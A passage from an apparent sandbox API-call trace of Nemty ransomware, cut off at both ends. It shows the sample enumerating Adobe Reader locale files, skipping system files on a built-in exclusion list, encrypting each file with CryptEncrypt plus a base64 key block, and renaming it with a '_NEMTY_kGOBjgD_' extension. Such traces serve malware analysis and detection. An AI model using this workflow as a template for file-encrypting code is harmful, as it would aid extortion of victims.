lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1fc8fbf0, dwHighDateTime=0x1d561e8)) [0181.426] GetLastError () returned 0x0 [0181.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0181.426] GetLastError () returned 0x0 [0181.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0181.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.426] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0181.426] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0181.426] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0181.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0181.426] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="qhFl2I1eWbXNK1Zt4tQMjs5SP/ykBO4ncCLZ2bDEtRNB6BjIagzGligvxistnRCM\r\nC02EXAWvT+I/kZxDr1orjmLVKeWR8boo4R2/zBvHjHgepI8KVJtyHl+1sux62Jw0\r\nCD1GqNgNU6l0fioQhAS9h4JgRWTWGQx6iL/d6AC7bcOvCGJ0QnvVGQ4cQwuyYkKr\r\nQlqYWZ1irDS8FQtD4ft8ykLmxMXCLoOh9kgfJZB11DYesqcmzKTBCD/CH0A4imr0\r\neZkV5BN8Roh/qIcjMQkcybXAU4rLijCbaQebzECNCJ6W/ZWEz15WmLuqZgimKIRe\r\nUmewQU6Tk0xAb0GwGNlxbg==\r\n", pcchString=0x653e5dc) returned 1 [0181.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0181.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0181.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0181.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0181.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0181.427] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\DVA.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\dva.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0181.427] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18944) returned 1 [0181.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4a00) returned 0x6352c48 [0181.427] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.427] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4a00, lpOverlapped=0x0) returned 1 [0181.430] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.430] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4a00, lpOverlapped=0x0) returned 1 [0181.430] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0181.430] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=18944, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4a00 [0181.430] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0181.430] CloseHandle (hObject=0x2e8) returned 1 [0181.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0181.430] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0181.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.430] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0181.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.430] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0181.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0181.430] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0181.430] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.431] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\DVA.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\dva.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\DVA.PTB._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\dva.ptb._nemty_kgobjgd_")) returned 1 [0181.431] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0181.431] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0181.431] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0181.431] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0181.431] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0181.431] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0181.431] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.431] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0181.431] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eBook.PTB", cAlternateFileName="")) returned 1 [0181.431] lstrcmpiW (lpString1="eBook.PTB", lpString2=".") returned 1 [0181.431] lstrcmpiW (lpString1="eBook.PTB", lpString2="..") returned 1 [0181.431] lstrcmpiW (lpString1="eBook.PTB", lpString2="...") returned 1 [0181.431] lstrcmpiW (lpString1="eBook.PTB", lpString2="windows") returned -1 [0181.431] lstrcmpiW (lpString1="eBook.PTB", lpString2="$RECYCLE.BIN") returned 1 [0181.431] lstrcmpiW (lpString1="eBook.PTB", lpString2="rsa") returned -1 [0181.431] lstrcmpiW (lpString1="eBook.PTB", lpString2="NTDETECT.COM") returned -1 [0181.431] lstrcmpiW (lpString1="eBook.PTB", lpString2="ntldr") returned -1 [0181.431] lstrcmpiW (lpString1="eBook.PTB", lpString2="MSDOS.SYS") returned -1 [0181.431] lstrcmpiW (lpString1="eBook.PTB", lpString2="IO.SYS") returned -1 [0181.432] lstrcmpiW (lpString1="eBook.PTB", lpString2="boot.ini") returned 1 [0181.432] lstrcmpiW (lpString1="eBook.PTB", lpString2="boot.ini") returned 1 [0181.432] lstrcmpiW (lpString1="eBook.PTB", lpString2="AUTOEXEC.BAT") returned 1 [0181.432] lstrcmpiW (lpString1="eBook.PTB", lpString2="ntuser.dat") returned -1 [0181.432] lstrcmpiW (lpString1="eBook.PTB", lpString2="desktop.ini") returned 1 [0181.432] lstrcmpiW (lpString1="eBook.PTB", lpString2="CONFIG.SYS") returned 1 [0181.432] lstrcmpiW (lpString1="eBook.PTB", lpString2="RECYCLER") returned -1 [0181.432] lstrcmpiW (lpString1="eBook.PTB", lpString2="BOOTSECT.BAK") returned 1 [0181.432] lstrcmpiW (lpString1="eBook.PTB", lpString2="bootmgr") returned 1 [0181.432] lstrcmpiW (lpString1="eBook.PTB", lpString2="programdata") returned -1 [0181.432] lstrcmpiW (lpString1="eBook.PTB", lpString2="appdata") returned 1 [0181.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.432] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.PTB", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0181.432] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.PTB", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.PTB", lpUsedDefaultChar=0x0) returned 9 [0181.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.432] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.PTB", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0181.432] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.PTB", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.PTB", lpUsedDefaultChar=0x0) returned 9 [0181.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.432] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.PTB", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0181.432] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.PTB", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.PTB", lpUsedDefaultChar=0x0) returned 9 [0181.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.432] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.PTB", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0181.432] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.PTB", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.PTB", lpUsedDefaultChar=0x0) returned 9 [0181.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0181.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0181.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0181.432] Sleep (dwMilliseconds=0x5) [0181.442] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1fcb5d50, dwHighDateTime=0x1d561e8)) [0181.442] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1fcb5d50, dwHighDateTime=0x1d561e8)) [0181.442] GetLastError () returned 0x0 [0181.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0181.442] GetLastError () returned 0x0 [0181.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0181.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.442] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0181.442] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0181.442] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0181.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0181.442] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="7mbQrYHvniT6/9Kdmxm9BEQ/cPUODCzLuwVLJ3l8CnOwo4F9Ep07yqKlZ5npzPfV\r\n0Be1/oMbnQye9GQqT8anaGQ/JplhsSM0+L5FQKEumoZYhM/aDIrmxkjpzP+yQYsr\r\njruLUWInWo0GwkUdYZORko+bNi/YV4RJ/jV7+7quxrEfqvcYU5YHksW6qfmxkt26\r\nmPMY1+YhIrWP9PKEwqDDD5w98wFuP58x1NPkdaEwaGpAxZLwz2Gg5qxzdUZJ6/KI\r\nfdtaHKaAb8UAYIzzws/GEorLynVNK9UzCfzGug1H43U/QuaLTDCYlxnAXAfuUvec\r\nh90p5cd6GrWhhZkGxaxEng==\r\n", pcchString=0x653e5dc) returned 1 [0181.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0181.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0181.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0181.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0181.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0181.443] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\eBook.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\ebook.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0181.443] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=6656) returned 1 [0181.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1a00) returned 0x6352c48 [0181.443] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.443] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1a00, lpOverlapped=0x0) returned 1 [0181.445] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.445] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1a00, lpOverlapped=0x0) returned 1 [0181.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0181.445] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=6656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a00 [0181.445] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0181.445] CloseHandle (hObject=0x2e8) returned 1 [0181.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0181.445] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0181.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.445] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0181.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.446] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0181.446] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0181.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0181.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.446] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\eBook.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\ebook.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\eBook.PTB._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\ebook.ptb._nemty_kgobjgd_")) returned 1 [0181.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0181.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0181.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0181.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0181.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0181.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0181.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0181.446] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d47040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="EScript.PTB", cAlternateFileName="")) returned 1 [0181.446] lstrcmpiW (lpString1="EScript.PTB", lpString2=".") returned 1 [0181.446] lstrcmpiW (lpString1="EScript.PTB", lpString2="..") returned 1 [0181.446] lstrcmpiW (lpString1="EScript.PTB", lpString2="...") returned 1 [0181.446] lstrcmpiW (lpString1="EScript.PTB", lpString2="windows") returned -1 [0181.447] lstrcmpiW (lpString1="EScript.PTB", lpString2="$RECYCLE.BIN") returned 1 [0181.447] lstrcmpiW (lpString1="EScript.PTB", lpString2="rsa") returned -1 [0181.447] lstrcmpiW (lpString1="EScript.PTB", lpString2="NTDETECT.COM") returned -1 [0181.447] lstrcmpiW (lpString1="EScript.PTB", lpString2="ntldr") returned -1 [0181.447] lstrcmpiW (lpString1="EScript.PTB", lpString2="MSDOS.SYS") returned -1 [0181.447] lstrcmpiW (lpString1="EScript.PTB", lpString2="IO.SYS") returned -1 [0181.447] lstrcmpiW (lpString1="EScript.PTB", lpString2="boot.ini") returned 1 [0181.447] lstrcmpiW (lpString1="EScript.PTB", lpString2="boot.ini") returned 1 [0181.447] lstrcmpiW (lpString1="EScript.PTB", lpString2="AUTOEXEC.BAT") returned 1 [0181.447] lstrcmpiW (lpString1="EScript.PTB", lpString2="ntuser.dat") returned -1 [0181.447] lstrcmpiW (lpString1="EScript.PTB", lpString2="desktop.ini") returned 1 [0181.447] lstrcmpiW (lpString1="EScript.PTB", lpString2="CONFIG.SYS") returned 1 [0181.447] lstrcmpiW (lpString1="EScript.PTB", lpString2="RECYCLER") returned -1 [0181.447] lstrcmpiW (lpString1="EScript.PTB", lpString2="BOOTSECT.BAK") returned 1 [0181.447] lstrcmpiW (lpString1="EScript.PTB", lpString2="bootmgr") returned 1 [0181.447] lstrcmpiW (lpString1="EScript.PTB", lpString2="programdata") returned -1 [0181.447] lstrcmpiW (lpString1="EScript.PTB", lpString2="appdata") returned 1 [0181.447] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.447] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.PTB", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0181.447] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.PTB", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.PTB", lpUsedDefaultChar=0x0) returned 11 [0181.447] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.447] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.PTB", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0181.447] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.PTB", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.PTB", lpUsedDefaultChar=0x0) returned 11 [0181.447] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.447] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.447] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.447] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.PTB", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0181.447] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.PTB", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.PTB", lpUsedDefaultChar=0x0) returned 11 [0181.447] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.447] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.447] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.PTB", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0181.447] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.PTB", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, 